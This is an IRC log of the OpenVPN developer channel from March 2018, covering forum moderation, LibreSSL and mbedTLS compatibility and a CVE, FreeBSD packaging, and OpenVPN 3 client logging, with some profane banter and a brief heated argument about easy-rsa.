usually delete the thread .. these spammers are constant and unrelenting 08:44 <@ordex> go for it 08:45 < tincantech> just because they start a legitimate thread does not mean it will remain that way 08:45 <@ordex> yeah 08:45 <@ordex> :D 08:45 < tincantech> yarg jim lad .. davy jones locker for thee *-) 08:46 <@ordex> tincantech: https://forums.openvpn.net/viewtopic.php?f=33&t=16236 << check here 08:46 <@vpnHelper> Title: Error importing OVPN: Line too Long - OpenVPN Support Forum (at forums.openvpn.net) 08:46 <@ordex> can you ban this user? 08:46 < tincantech> in the past i would go so far as to ban the spammer as well 08:46 * tincantech looks 08:47 < tincantech> yeah .. that is why i read every post .. 08:50 < tincantech> ah cool .. it is only soft delete for entire thread 08:55 < tincantech> ordex: i closed your report and deleted the spam 08:55 <@ordex> thanks 08:56 < tincantech> ecrist_: all done never mind :) 09:00 <@cron2> while mentioning ecrist... ecrist_: can you bump the openvpn-devel freebsd port to something more recent occasionally? 09:23 -!- pekster_ is now known as pekster 09:48 < tincantech> why is the man page for --cert sooooo badly written .. easyrsa is not even mentioned ! 10:03 <@ordex> so --remote can be used also in server mode ... but must be at most one 10:03 <@ordex> uhm interesting 10:22 -!- nb is now known as nb2 10:22 -!- nb2 is now known as nb 13:45 < kitsune1> right, --cert is badly and "wrongly" documented. Everything after the first line can be deleted. The rest belongs to a howto: there are many ways to set up a ca and issue certificates. --- Day changed Tue Mar 13 2018 03:14 <@cron2> good morning 03:17 <@ordex> morning 03:21 < eworm> good morning 03:23 <@cron2> mattock: build.openvpn.net has IPv6, but its firewall rules permit SSH only on IPv4... 03:24 <@cron2> (with a "packet drop", so if I try to push there, it will have to wait 90s for a timeout before falling over to IPv4) 03:24 <@ordex> ah that's why it was hanging here too 03:25 <@ordex> (maybe) 03:26 <@ordex> (yes that's the reason) 03:26 <@cron2> likely... "ssh -v build..." will tell 03:26 <@cron2> :) 03:26 <@ordex> yap 03:26 <@ordex> just did that :D 03:27 <@cron2> I think this is the most valuable option of anything ever... "ssh -v"... :-) 03:27 <@ordex> :D 03:28 <@ordex> I normally use "nc" for this kind of "tests", but apparently nc has no ipv6 support (here) 03:28 <@ordex> grumble grumble 03:28 <@ordex> no it has, but trie ipv4 first 03:28 <@ordex> grumble² 03:31 <@cron2> yeah... "there is so many problems with ipv6, let's not make them visible, much better to hide them by preferring ipv4" 03:32 <@ordex> :P 03:32 <@ordex> nice strategy 03:46 <@cron2> this is what our whole industry has been doing for the last 15 years... so we're still stuck with layers of NAT, and "mostly working but not always" IPv6 islands... 04:36 * cron2 does the happy dance 07:31 <@ecrist_> cron2: I can try to get that done today. 07:31 -!- You're now known as ecrist 08:09 -!- slypknot is now known as tincantech 10:05 <@vpnHelper> RSS Update - tickets: #1039: iOS: connection hang on insufficient buffer space available <https://community.openvpn.net/openvpn/ticket/1039> 10:23 <@ecrist> huh, that sounds like a firewall/filtering problem 10:48 < tincantech> ecrist: if you have time the forum cleantalk plugin could do with updating ;) 10:57 <@ecrist> yeah, cleantalk and tapatalk both need updating 10:57 <@ecrist> on my list for this evening 16:40 < m-a> https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=226568 - OpenVPN 2.4.5 fails to compile with LibreSSL 2.6.4 16:41 <@vpnHelper> Title: 226568 security/openvpn: OpenVPN 2.4.5 fails to compile with LibreSSL 2.6.4 (at bugs.freebsd.org) 16:43 <@cron2> https://community.openvpn.net/openvpn/ticket/1038 16:43 <@vpnHelper> Title: #1038 (OpenVPN-2.4.5 fails to build against libressl-2.6.4 due to bad ifdef check) – OpenVPN Community (at community.openvpn.net) 16:43 < m-a> looks like something's hosed between the OpenSSL 1.1 compatibility and what LibreSSL offers 16:44 <@cron2> we're aware. We just got stuck in actually fixing this (in finding the "most reasonable" way to fix this, instead of just adding a few more #ifdef) 16:44 <@cron2> LibreSSL has functions where we do an #ifdef check for the macros provided by OpenSSL... 16:44 < m-a> I'm only mentioning it because of the changelog, otherwise LibreSSL failures are in the "I don't give a shit" ballpark. I've seen too many things broken by LibreSSL 16:45 <@cron2> so #ifdef does not "see" the declaration and blows up... (and the argument from LibreSSL why they want functions is good - "type checking") 16:45 < m-a> which is more a case against using C as a systems language, after three + decades 16:46 < m-a> https://gitlab.com/fetchmail/fetchmail/blob/legacy_64/socket.c#L888 16:46 <@vpnHelper> Title: socket.c · legacy_64 · fetchmail / fetchmail · GitLab (at gitlab.com) 16:46 < m-a> version number probing is also doomed 16:46 <@cron2> too late to enjoy a language discussion now 16:47 < m-a> hehe, then I'll recommend three lines from fetchmail's code now: 16:47 < m-a> https://gitlab.com/fetchmail/fetchmail/blob/legacy_64/socket.c#L386 16:47 <@vpnHelper> Title: socket.c · legacy_64 · fetchmail / fetchmail · GitLab (at gitlab.com) 16:47 <@dazo> cthuluh: ^^^ 16:47 < m-a> hehe 16:48 <@dazo> m-a: cthuluh volunteered recently to look at libressl compatibility 16:48 < m-a> that's all fine, but in the end I find LibreSSL a waste of time. 16:49 <@dazo> well, yeah, I agree ... but openbsd .... :/ 16:50 < m-a> are there any technical objections against using https://community.openvpn.net/openvpn/attachment/ticket/1038/libressl.patch as a minimal hack to get things rolling on the FreeBSD package? 16:50 <@vpnHelper> Title: libressl.patch on Ticket #1038 – Attachment – OpenVPN Community (at community.openvpn.net) 16:50 <@dazo> I'm fine with having the support as someone is willing to do that task 16:50 <@dazo> as long as* 16:50 < m-a> otherwise I'll go with that - looks like a minimal approach 16:51 < m-a> and TBH I don't care about beauty or technical merits beyond "it builds and passes its self-tests" 16:51 <@dazo> if it works in FreeBSD ... it's not a risky patch, how I see it ... 16:51 < m-a> booting VBox 16:54 <@dazo> meaning: that patch is reasonable for being used in a libressl depending distro/os if needed 16:54 <@dazo> but not something we'll pull in upstream yet 16:54 < m-a> it's an option but there appear to be some users who are fond of libressl 16:56 < m-a> I understand Selva Nair's patch is a better approach upstream, but I'm packaging downstream. 16:56 <@dazo> yeah 16:58 < m-a> it seems the patch from the ticket does not cause regressions in the base-openssl and mbedtls builds on FreeBSD, test with libressl pending 17:00 < m-a> looks sane 17:43 -!- Crazy_Hopp is now known as Crazy_Hopper 18:47 <@ecrist> Hey folks. I'm going to do some shit tonight. 1) I'm fucking up the forums by a) upgrading phpBB, b) upgrading tapatalk, and c) upgrading cleantalk 2) I'm going to roll a new FreeBSD openvpn-devel port so cron2 gets off my ass 19:20 <@ecrist> 1) done 19:27 <@ecrist> working on 2 19:28 <@ecrist> will have it submitted to BZ before I go to bed. 19:33 -!- pekster` [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 20:39 <@ordex> ecrist: fuck up completed? 20:48 < tincantech> up fuck depleted 20:49 <@ordex> hehe 20:50 < tincantech> can i do a "Matrix" quote ? 20:52 < tincantech> the crowd says "NO!" 20:53 * tincantech dang it 21:26 <@ecrist> ordex: yeah, fuck up is complete, working on publishing a new openvpn-devel 21:26 <@ecrist> didn't realize my tarball script hasn't run since 2017-25 21:26 <@ecrist> so, fixing that, too 21:27 <@ordex> what is a "new openvpn-devel"? I know only the ml to have that name 21:39 < tincantech> ecrist: 25-2017 is a bit .. ${the shit i could write here} 21:46 < kitsune1> 2017-25-00 = 2019-1-00 = 2018-12-31 ? 21:47 <@ecrist> Alright, bugzilla submitted, maybe m-a will pick it up (226588) 21:47 <@ecrist> tincantech: what are you crying about? 21:47 <@ecrist> kitsune1: the 25 is week number, not day 21:47 <@ecrist> I take development snapshots every sunday 21:47 < kitsune1> never would have guessed, but makes sense :) 21:48 <@ecrist> !devel 21:48 <@ecrist> !snapshots 21:48 <@vpnHelper> "snapshots" is (#1) weekly dev snapshots are available from ftp://ftp.secure-computing.net/pub/openvpn, or (#2) by helping test these features, and reporting back on either of the mailing lists, you can help these features become part of the stable branch 21:48 <@ecrist> meh, I thought there was a readme 21:50 < tincantech> crying .. lol 21:51 < tincantech> also i build my own 21:51 <@ecrist> ordex: I was referring to the FreeBSD port for the development snapshots 21:51 <@ordex> oh ok 21:51 < kitsune1> Like the Windows binaries for every commit available at wherever..? Are these dist tarballs? 21:51 < tincantech> thanks to the excellent build-system 21:51 < kitsune1> oh freebsd ports.. nice. 21:52 < tincantech> iots free .. woopty dfo 21:55 < tincantech> i assumed xmas day = 2017 25 21:59 < tincantech> he he he 22:25 -!- pekster [~rewt@openvpn/community/developer/pekster] has quit [Ping timeout: 256 seconds] 22:25 -!- pekster` is now known as pekster --- Day changed Wed Mar 14 2018 02:39 <@mattock> meeting today? 02:52 <@ordex> guess so ? 02:59 <@mattock> cron2, dazo, syzzer? 03:03 * cron2 ishere 03:03 <@cron2> uh 03:04 <@cron2> my calendar says: I'm not... meeting with vendor, starts at 11, time depended on external factors - so, apologies, won't make today 03:06 <@mattock> anything we should need to discuss anyways? 03:06 <@mattock> maybe informally, if not in a "real" meeting 03:08 <@cron2> lots of work (tap6 test installer, libressl patches, tls-crypt v2 review / feedback, ...) but I have nothing for the "group" anyway 03:08 <@cron2> ah 03:09 <@cron2> mattock: if chtuluh has not contacted you yet, he'll do so "eventually" to discuss setting up an OpenBSD-current buildbot, which will always have the latest and greatest LibreSSL to break 03:09 <@cron2> I have set up a VM with OpenBSD for him already and handed him the keys to it, but "buildbot wise" nothing has been done yet 03:20 <@mattock> cron2: ok 03:21 <@mattock> I have not been contacted by any cthulhus yet 03:21 <@mattock> not even my local cultists 03:21 <@mattock> by 06:26 <@cron2> quiet in here... 06:45 <@mattock> indeed 07:42 < cthuluh> ENOTIME for the buildbot slave right now, hopefully this week-end... 07:42 < cthuluh> cron2: which libressl patches do you have in mind? 07:44 < cthuluh> except for Selva's diff to "fix" the detection of SSL_CTX_set_min_proto_version/SSL_CTX_set_max_proto_version I dont know of anything both blocking and pending 07:47 <@cron2> well, these are the existing patches, but I expect new patches to come forth eventually :-) - so, lots of work for each of us individually, but nothing that needs a big group discussion 07:50 < cthuluh> ack 08:02 <@mattock> cthuluh: my availability the upcoming weekend is rather spotty, so if you want play with buildbot let me know in advance so that I can grant you VPN access 08:03 <@mattock> also create a community services user account if you don't have one (i.e. the one used for trac/forums) and let me know what the username is 08:06 <@cron2> j.ca :) 08:26 -!- slypknot is now known as tincantech 11:14 <@cron2> mattock: thanks for fixing ipv6 ssh to build :) 11:48 < cthuluh> mattock: as said by cron2, my account on the wiki is "j.ca" 12:19 <@ecrist> cron2: I believe you should find a new openvpn-devel port in your tree 13:05 <@cron2> ecrist: nice :) --- Day changed Thu Mar 15 2018 02:56 <@cron2> moin 03:02 <@ordex> moin 04:57 <@mattock> hi 06:27 -!- siruf_ is now known as siruf 06:33 <@ordex> any easy way to prevent the status file from being populated (other then setting it to /dev/null)? 06:33 <@cron2> "not configuring --status"? It's not on-by-default 07:22 <@ordex> ah 07:22 <@ordex> :P 07:31 -!- slypknot is now known as tincantech 07:55 < cthuluh> I have just SSL_CTX_get_min/max_proto_version added to LibreSSL, should be visible here: https://cvsweb.openbsd.org/cgi-bin/cvsweb/src/lib/libssl/ssl.h once cvsweb is synced 07:55 <@vpnHelper> Title: CVS log for src/lib/libssl/ssl.h (at cvsweb.openbsd.org) 07:55 < cthuluh> I have just added* 07:56 < cthuluh> (I'll probably send a mail to the mailing-list later.) 09:33 <@ordex> cron2: ah it's hardcoded in the systemd unit file on debian. that's why I was getting it by default 10:33 < tincantech> ordex: annoying eh ? i am not convinced those options should be in the unit file unless they can be overiden by the conf, those which cannot include --suppress-timestamps and now --status 10:34 <@ordex> yap 10:35 <@ordex> I mean, they are before the --config, so they can be overridden. but they can't be "suppressed". i.e. I don't want any status file 10:35 <@cron2> indeed... ("status /dev/null", but that sucks) 10:41 < tincantech> you cannot undo --suppress-timestams either but .. hey-ho 10:58 <@ordex> cron2: it will pollute the log with errors when openvpn tried to truncate it 10:58 <@ordex> *tries 11:10 < tincantech> ordex: your ball park ? https://forums.openvpn.net/viewtopic.php?f=33&t=26034#p77499 11:10 <@vpnHelper> Title: OVPN Oreo does not accept certificate - OpenVPN Support Forum (at forums.openvpn.net) 11:42 <@dazo> tincantech: btw ... OpenVPN Connect (and openvpn3 clients in general) is very different in regards to logging. --log and --verb are ignored on that generation of openvpn 11:46 <@dazo> tincantech: Debug details is typically what is defined as "log data" in OpenVPN 3 ... it's fairly verbose and usually more than good enough. But things are only being spit out here once it starts to connect. Before that (importing a configuration), this debug log is empty 11:48 <@dazo> All the other stuff OpenVPN 3 wants to inform the user about, appears via more standard UI elements (meaning, no need to dig up a log) ("under-the-hood-technical-details", this is called "events" in OpenVPN 3, and the UI decides what to do with events) 11:57 < tincantech> dazo: thanks .. did you have any idea or comment to add to the thread regarding the chain of events the OP explained 11:58 <@dazo> tincantech: nope, I have no idea ... without more details provided ... there's a thousand things he could have done or not said 12:02 < tincantech> well he said he first pressed canel because of the warning and then chose to continue past the warning and then openvpn found and used the cert .. 12:02 < tincantech> seems like something is a miss 12:02 <@dazo> yeah 12:04 < tincantech> anyway, thanks for the tip on log/verb etc 12:05 <@dazo> tincantech: if you want to really play with this, the openvpn3-linux client uses the same openvpn3 code base as the OpenVPN Connect apps ... so it should behave somewhat similar once you get a tunnel started 12:11 < tincantech> dazo: can ovpn3 all be done by command line or do i need a gui (would be X in my case) ? 12:12 <@dazo> openvpn3-linux is currently only providing command line interfaces ... but the command line front-ends (openvpn2, openvpn3) are essentially just D-Bus clients ... so adding GUI on top of that is essentially just using a set of APIs provided by the "backend" openvpn3 services 12:13 < tincantech> ok .. i prefer not to use a gui :) i'll have a closer look sometime 12:14 <@dazo> still a bit rough on the edges, but it's getting into shape gradually :) 12:18 < pekster> I presume these are all copyleft-ish licenses for the non-AS/connect stuff? I might be interested to try it out sometime, if nothing else to see how this dbus stuff works 12:19 < pekster> I've had a very foul taste of dbus in my mouth thanks to how Ubuntu does it in the most user-unfriendly way possible and been averse to it since. network-manager for instance talks to dnsmasq via dbus, but there's _no_ dnsmasq config (all sent via dbus.) Makes it near-impossible to debug when things go wrong :( 12:20 <@dazo> pekster: yeah, the openvpn3-linux client is fully AGPLv3 12:20 < pekster> Oh, AGPL, nice 12:21 < pekster> Wonder what kind of a legal fight brews if some "provider" is given a court-order to spy on clients, but also has to comply with the AGPL of making such "as a service" uses public :P 12:22 <@dazo> The Linux client could be GPLv3 actually. But since the OpenVPN 3 Core Library (openvpn3 project) is AGPLv3, we thought it would be less confusing if both used the same 12:22 <@dazo> openvpn3-linux builds on the Core Library 12:22 < pekster> Right, and it means work based on openvpn3-linux has the benefit of being shared/useful to the community if some group basically becomes a glorified VPN setup/reseller business 12:23 < pekster> I've licensed some work under AGPL for that very reason 12:23 <@dazo> yeah 12:23 < pekster> It also means changes to code are (or are legally supposed to be at any rate) auditable, avoiding 'goto fail' style mistakes in server-side code 12:24 <@dazo> yeah 12:24 < pekster> OK, </preaching></choir> :) 12:24 <@dazo> hehehe :) 12:54 < tincantech> dazo: typo on openvpn3 git, under howto build 12:55 < tincantech> Clone this git repository: git clone git:// 12:55 < tincantech> s/git:/https:/ 12:57 < tincantech> or is this something i don't know about git because then it goes onto "Submodule 'asio' (git://github.com/chriskohlhoff/asio" which also fails 12:57 <@dazo> git:// works as well 12:57 < tincantech> oh .. maybe my firewall 12:58 <@dazo> yeah ... git:// is much faster 12:58 <@dazo> but unencrypted 12:58 <@dazo> you need to have port 9418 open 12:58 <@dazo> iirc 12:58 <@dazo> perhaps I should change to https ... to avoid firewall issues 12:59 * tincantech checks the firewall and .. port 9418 blocked .. lol 12:59 < tincantech> nah .. my firewall is a bit ott 12:59 < tincantech> should be fine for normal router 13:00 <@dazo> I've mostly stopped blocking outbound ports ... more annoyance than security, as stuff who gets blocked will anyway use port 80 or 443 and get access to the Internet 13:03 < tincantech> old habits die hard ;-) 13:21 <@dazo> heh 19:43 < tincantech> dazo .. unencrypted you say ? 19:44 <@dazo> ? 19:44 < tincantech> hey :) 19:44 <@dazo> about to log out for today ... getting up again in 5 hours 19:44 < tincantech> so .. if it is unencrypted it can be faked .. no ? 19:45 <@dazo> well, yeah, except that all the commits should be signed by my PGP key 19:45 < tincantech> ahh . layers ;) 19:45 <@dazo> and I do have a gitlab repository too, which can be pulled as well ... and it should be identical to github 19:46 <@dazo> https://gitlab.com/openvpn/openvpn3-linux 19:46 <@vpnHelper> Title: OpenVPN / openvpn3-linux · GitLab (at gitlab.com) 19:46 < tincantech> i'll have a go :-) 19:47 <@dazo> but! if you pull those now .... you need to revert commit fc6153fede403c6fd5d980 to get normal user-auth working again; I messed it up right now 19:47 <@dazo> auth-user-pass, I mean 19:47 < tincantech> bleeding edge :D 19:47 <@dazo> if you have a setup with dynamic challenge, it will work though :-P 19:47 <@dazo> hehe, yeah :) 19:48 <@dazo> but too tired to figure out the best solution for it now 19:48 <@dazo> (and the current implementation should feel less lagging, so it's in the right direction) 19:48 < tincantech> get some sleep man ! 19:50 < tincantech> dazo still there ? 19:51 <@dazo> nope :) 19:51 < tincantech> :) 19:51 < tincantech> let me just say 19:52 < tincantech> if i sent a satalite up i would use openvpn to encrypt stuff --- Day changed Fri Mar 16 2018 01:32 <@vpnHelper> RSS Update - tickets: #1040: Same problem of #897 apollo lake cpu <https://community.openvpn.net/openvpn/ticket/1040> 02:21 <@cron2> mornin 02:41 <@mattock> guten morgen alles 03:05 <@ordex> aloha 08:18 -!- slypknot is now known as tincantech 10:39 <@cron2> ordex: not sure if you are aware, but "aloha" nicely fits tincantech's comment about "satellite"... https://en.wikipedia.org/wiki/ALOHAnet 10:39 <@vpnHelper> Title: ALOHAnet - Wikipedia (at en.wikipedia.org) 10:40 <@cron2> "Slotted ALOHA is used in low-data-rate tactical satellite communications networks ..." 10:56 <@ordex> oh really still used? 10:56 <@ordex> lol 10:56 <@ordex> I know it was one of the first wifi protocol invented in hawaii 13:08 < tincantech> interesting .. sorry about my spelling ;) --- Day changed Sat Mar 17 2018 04:23 <@vpnHelper> RSS Update - tickets: #1042: Only Nist Curves are Supported <https://community.openvpn.net/openvpn/ticket/1042> || #1041: Only Nist Curves are Supported <https://community.openvpn.net/openvpn/ticket/1041> 10:05 <@vpnHelper> RSS Update - tickets: #1043: IPv6 addresses are not loaded with ifconfig-pool-persist file <https://community.openvpn.net/openvpn/ticket/1043> 13:21 < tincantech> Funny .. I would imagine Hawaii to be a "party university" and yet there they were(are) pioneering global communications! 14:19 < tincantech> what is even more unbelievable .. ALOHA was "*another* alternative for computer communications" before my family even had a phone! In fact we still had *and used* a coal fireplace for central heating!! 14:22 < tincantech> https://robotics.eecs.berkeley.edu/~pister/290Q/Papers/MAC%20protocols/ALOHA%20abramson%201970.pdf 14:34 * tincantech wonders if ~pister is any relation to pekster 21:35 < tincantech> only 34 people care about openvpn dev .. go figure 21:36 < tincantech> 35 (selva should be here) 21:38 < tincantech> https://www.youtube.com/watch?v=FYH8DsU2WCk ## Dont bother it is onlt new order, blue monday 21:48 <@ordex> < tincantech> only 34 people care about openvpn dev .. go figure << ? 21:48 < tincantech> hey :) 21:49 < tincantech> did you just wake up ? 21:50 < tincantech> breakfast in Hongkong .. deep fried spiders ? 21:56 < tincantech> ordex: considering how easy it is to follow -dev .. it is surprising how so few participate .. to me 21:56 <@ordex> lol 21:57 <@ordex> participants where? here on irc you mean? 21:57 <@ordex> or on the mailing list? 21:57 <@ordex> ah yeah, 34 nicks in here 21:57 < tincantech> irc dude . 21:57 <@ordex> well, consider that lots of people do not join IRC and lots of people can't or do not care about the real development 21:57 <@ordex> yo 21:58 < tincantech> please dont mis understand me .. only 34 ppl join this channel .. i regard that as bizzarr 22:00 < tincantech> considering how many ppl actually use it 22:01 <@ordex> ah 22:01 <@ordex> well 22:01 <@ordex> people that use it, do not necessarily put effort in development 22:01 <@ordex> and yeah .. that amount is fairly small 22:01 <@ordex> consier the people that actually send patches to the ml 22:01 <@ordex> it's even smaller 22:02 < tincantech> indeed 22:02 < tincantech> but they are quality 22:03 < tincantech> you have a different POV to me .. but even so .. I find it astonishing that so few ppl choose to keep up 22:04 < tincantech> is it openssl or is itr linux or whatever host OS .. 22:06 < tincantech> the "Division bell" ringeth 22:07 < tincantech> FYI: I like depeche mode music .. they had the album called "The division bell" 22:07 < tincantech> just in case you are an idiot .. 22:08 < tincantech> which you are not .. but i probably am 22:21 < tincantech> *follow the fkn money* ...... 22:25 < kitsune1> Just 34? Hm.. better be nice to each other :) 22:26 < kitsune1> Wny none of the commercial providers have someone hang out here.. Development is in their interest. 22:26 < kitsune1> Or do they? 22:33 < tincantech> kitsune1: or do they .. ;) 22:34 < tincantech> the science of secrecy 22:39 < kitsune1> secret agents raise your hands.. 22:45 * tincantech .0. 22:46 * tincantech \0. 22:49 <@ordex> hhee 22:50 <@ordex> there might be, but they might not be interested in advertising what they do as they keep it within their walls 22:50 < kitsune1> "within their walls" and potentially insecure 22:51 < tincantech> boom! 22:52 < tincantech> static defence vs ??? 22:54 <@ordex> kitsune1: there are providers still using md5, what do you expect :P 22:55 < tincantech> recently reported on "the forum" 22:56 < tincantech> shakespear would have had such fun with this prose 22:59 < kitsune1> Users using our new windows release will start complaining then (as openssl 1.1 would reject md5) -- saw a discussion of that kind in GUI issues. 23:00 < tincantech> yep 23:00 < tincantech> fuck em 23:00 < kitsune1> sorry for spoiling the metre 23:00 < tincantech> md5 is broken .. 23:01 < tincantech> what doyou want ? 23:02 < tincantech> "openvpn: magically fixes MD5" and the dinosaurs come back to life ... 23:02 < tincantech> amber nectar is looking good now 23:03 < kitsune1> amber nectar = ambrosia? 23:03 < tincantech> amber nectar = bullshit ,, 23:04 < tincantech> kitsune1: i respect you .. i am surprised ny your reaction 23:04 <@ordex> kitsune1: you can force md5 with the tls-cert profile, no? there should be some code for ossl too, unles sit's only for <1.1 23:04 < kitsune1> --tls-cipher SECLEVEL=0 or some such. 23:05 < tincantech> yeah some such = bollox 23:05 < tincantech> = V no P N 23:05 < kitsune1> Better advice is to fix teh damn thing.. why use md5 certs still 23:05 < tincantech> mjd5 is DOOOOOOOMED 23:06 < tincantech> easyrsa 23:07 < kitsune1> easyrsa probably used to create md5 certs not too long ago.. 23:07 < kitsune1> Just guessing -- never used. 23:07 < tincantech> yeah and 23:07 < tincantech> look into it 23:08 < tincantech> kitsune1: you are fucking intellegent .. go to github and see easyrsa 3 23:08 < kitsune1> is it good -- I create a few certs a year, so openssl command line is good enough for me. 23:09 < tincantech> ^^ 23:09 < kitsune1> A bunch of shell scripts, right? Sorry, if you are involved... 23:10 < kitsune1> No offence.. Many will find it useful. 23:10 < tincantech> kitsune1: yeah sure .. they are shell scripts .. but they are very portable and *very* robust 23:11 < tincantech> they are in fact the key to privacy 23:12 < tincantech> i am very surprised you did not know that yet .. ? 23:13 < tincantech> you should do the 101 in easy rsa .. very soon 23:13 < kitsune1> I recall once briefly using an old version -- could not renew a cert without revoking first. Probably its much more capable now. 23:13 < tincantech> bugs etc 23:13 < tincantech> if you have a better system .. ? 23:14 < kitsune1> I've too many 101's in my todo list. easy-rsa will have to wait. 23:14 < tincantech> l;ol 23:14 < kitsune1> My system? Just openssl command line.. as I said, I make may be 3 certs a year. 23:15 < tincantech> openvpn "expects and demands" that you know easyrsa 23:15 < kitsune1> Bullshit 23:15 < tincantech> you are fooling yourself 23:15 < tincantech> fuck you 23:15 < kitsune1> thanks 23:16 < tincantech> you started it 23:16 < tincantech> it is your funerla 23:16 < tincantech> funeral 23:16 < kitsune1> what are you referring to? 23:17 < kitsune1> 33 left to go 23:17 < tincantech> 04:14:08 kitsune1 | I've too many 101's in my todo list. easy-rsa will have to wait. 23:17 < tincantech> ^^ 23:17 < kitsune1> Not just wait, probably will never get that far. 23:18 < tincantech> well ok .. you have your own system then 23:19 < kitsune1> Anyway, I'm back to my reading. Nice chatting with you. 23:22 < tincantech> ** 23:22 < tincantech> denial .. 23:22 < tincantech> ** 23:24 < tincantech> I am off to down a half bottle of whiskey and kick the shit out of dog i dont like 23:24 < tincantech> none of that is true .. 23:25 < tincantech> but i bet kitsune1 is reading the easyrsa3 howto 23:37 <@ordex> lol 23:37 * ordex has finished the popcorn 23:38 <@ordex> !tincantech 23:38 <@ordex> we should have had one 23:43 < tincantech> kitsune1: are you actually using easyrsa 2 on windows ? .. ?? 23:44 < tincantech> ordex: its all good :-) 23:46 < tincantech> i dont actually ** care 23:48 * tincantech is growing tomatoes from volcanic activity 23:51 <@ordex> in your garden ? 23:51 <@ordex> that's not volcanic ash, but smog :P 23:52 < tincantech> on my volcano 23:52 < tincantech> tomatoes are predators 23:53 <@ordex> :O 23:54 < tincantech> tomatoe plants actually kill and digest small flies and what not 23:54 < tincantech> toe or to 23:56 < tincantech> fucking science .. cant even spell .. yeah but it can solve over population . !! yeah (nooo) --- Day changed Sun Mar 18 2018 00:01 < tincantech> ordex: is it hongkong or singapore ~? 00:02 <@ordex> Mars 00:02 <@ordex> :] 00:02 <@ordex> no death penalty here, you guess 00:02 < tincantech> mars ;) 00:03 < tincantech> if i said what i really think .. 00:06 < tincantech> if it has to be Mars .. then it probably is Cohaagen 00:10 < tincantech> monopoly on oxygen .. seems like good business 00:10 < tincantech> follow the money 00:10 < tincantech> pwnd 00:19 < tincantech> ordex: just jokin 00:28 * tincantech is Taking bets on which franchise gets their name on the mars/human "adventure" 00:29 < tincantech> KFC 00:30 * tincantech is a dreadful cynic 00:32 < tincantech> vacuumed packed KFC 00:32 * tincantech pukes 00:34 < tincantech> where should we solve the pproblem ? 00:35 < tincantech> what problem .. ! ??? 11:08 < kitsune1> No wonder few hang out here. The ops need to enforce some decorum. 13:32 <@cron2> what? 15:07 < tincantech> kitsune1: i owe you an apology for yesterday .. sorry for my rudeness 15:39 -!- siruf_ is now known as siruf 20:43 -!- mode/#openvpn-devel [+o ordex] by ChanServ --- Day changed Mon Mar 19 2018 02:50 <@cron2> mornin 02:59 <@ordex> yo 03:18 <@cron2> ordex: so #1032 can just be closed because "there is no security hole", right? 03:18 <@ordex> cron2: I think CVE-2018-0487 still applies 03:18 <@ordex> in: https://tls.mbed.org/tech-updates/security-advisories/mbedtls-security-advisory-2018-01?mkt_tok=eyJpIjoiTUdVelpUaGlZekkwTUdRNCIsInQiOiJlM1ZDNWRcL3BjcFFRSytVYWhkdFwvVTFOSjVXT2d6ZmFBaGloMWZ0SzFvRGIyRWJ5ekhtWE0weTkwMEFuV05ReGRMZ3hXMU4zU1Jtb2NQbFV3ZThDNDdaRVFXaVwvRk92Ym1kNjROUUxNXC9XMm01VFRGdlN6WG5jTEFvd21ISGVYZVcifQ%3D%3D 03:18 <@vpnHelper> Title: mbed TLS Security Advisory 2018-01 - Tech Updates (at tls.mbed.org) 03:19 <@ordex> because it just needs RSASSA-PSS to be enabled at compile time and we are vulnerable 03:20 <@ordex> and RSASSA-PSS is enabled by default :( 03:21 <@ordex> include/mbedtls/config.h:1006:#define MBEDTLS_PKCS1_V21 03:21 <@ordex> yap 03:21 <@cron2> oi 03:22 <@cron2> whatever RSASSA-PSS is 03:22 <@ordex> yap 03:22 <@ordex> "RSASSA-PSS signature verification" 03:23 <@ordex> some signature chachacha :P 03:26 <@ordex> even though I don't think we can easily disable MBEDTLS_PKCS1_V21 as it seems to be basic support for RSA keys 04:18 <@dazo> But do we need to do anything, except perhaps update the oldest supported mbed TLS library we support in configure.ac? 04:48 <@ordex> I don't think we have to do anything. I'd leave out also changing configure.ac because people may have "fixed" older mbedTLS versions 04:48 <@ordex> it's all about who put things together: they should not use a buggy version 04:48 <@dazo> right, but we can do that requirement in git master 04:49 <@ordex> uhmmm you want to check for the broken feature? 04:49 <@ordex> I don't think we should prevent people from configuring/compiling openvpn with whatever they want, no ? 05:01 <@cron2> if we can reliably detect "this library version is broken", refusal is reasonable. OTOH with the distros backporting fixes, the "reliably detect" part is hard 05:02 <@ordex> yeah 05:03 <@ordex> but honestly "this library is broken" is a check that distros should do, not lib users, I believe 12:45 <@vpnHelper> RSS Update - tickets: #1044: pkcs11-id - Cannot deserialize id 19-'CKR_ATTRIBUTE_VALUE_INVALID' <https://community.openvpn.net/openvpn/ticket/1044> 17:01 <@dazo> cron2, mattock, ordex, syzzer: MITRE accepted removing "remote" from the hosed CVE report (as suggested by syzzer) ... they can publish whenever we're ready ... any reason to hold back for something on our side? 17:02 <@dazo> should we create a wiki page for this? enlist this in our security announcements page? 17:03 <@dazo> (I'm not convinced we need anything else than the message on the MITRE web page) 20:01 <@ordex> dazo: will the MITRE page contain how we handle it? if not, maybe we should add it to ounr security page to tell people what we did to address the concern? 20:05 <@ordex> arr 20:23 <@ordex> syzzer: do you think it would be maningful to disable MBEDTLS_PKCS1_V21 on a mbedTLS build used with OpenVPN? or would that prevent simple RSA keys to properly work (regardless of RSASSA-PSS)? --- Day changed Tue Mar 20 2018 03:00 <@mattock> dazo: adding a wiki page for each CVE makes sense 03:35 <@vpnHelper> RSS Update - tickets: #1045: OpenVPN update from Stretch Backports broke PAM authentication <https://community.openvpn.net/openvpn/ticket/1045> 04:40 <@cron2> ordex: don't try to distract me with interesting IPv6 work :-) - need to get stuff done today 05:03 <@ordex> cron2: haha, you can reply tomorrow :P 05:03 <@ordex> ah you did already :] 05:03 <@ordex> thanks!! 05:06 <@ordex> oh the pull-filter trick will be really helpful 05:06 <@cron2> look what nice tools our swiss army knife has :-) 05:07 <@cron2> can't imagine how I ever got anything done without --push-remove and --pull-filter - now that we have it, I need it about every month 05:07 <@ordex> hehe 05:30 < ValdikSS> Please take a look at https://community.openvpn.net/openvpn/ticket/538, it's very annoying and requires patch. 05:40 <@ordex> I think "we need to look into getting pkcs11-helper replaced with p11-kit" is currently happening. so I am not sure if the context of that ticket is still valid (?) 07:54 < ValdikSS> ordex: it's still doesn't work as it should in 2.4.5. It hangs on PIN prompt and require patching or recompiling without systemd support. 08:45 <@ordex> ValdikSS: I see - not sure who is interested in that area 08:47 <@cron2> dazo 11:20 <@mattock> meeting tomorrow? 11:38 * 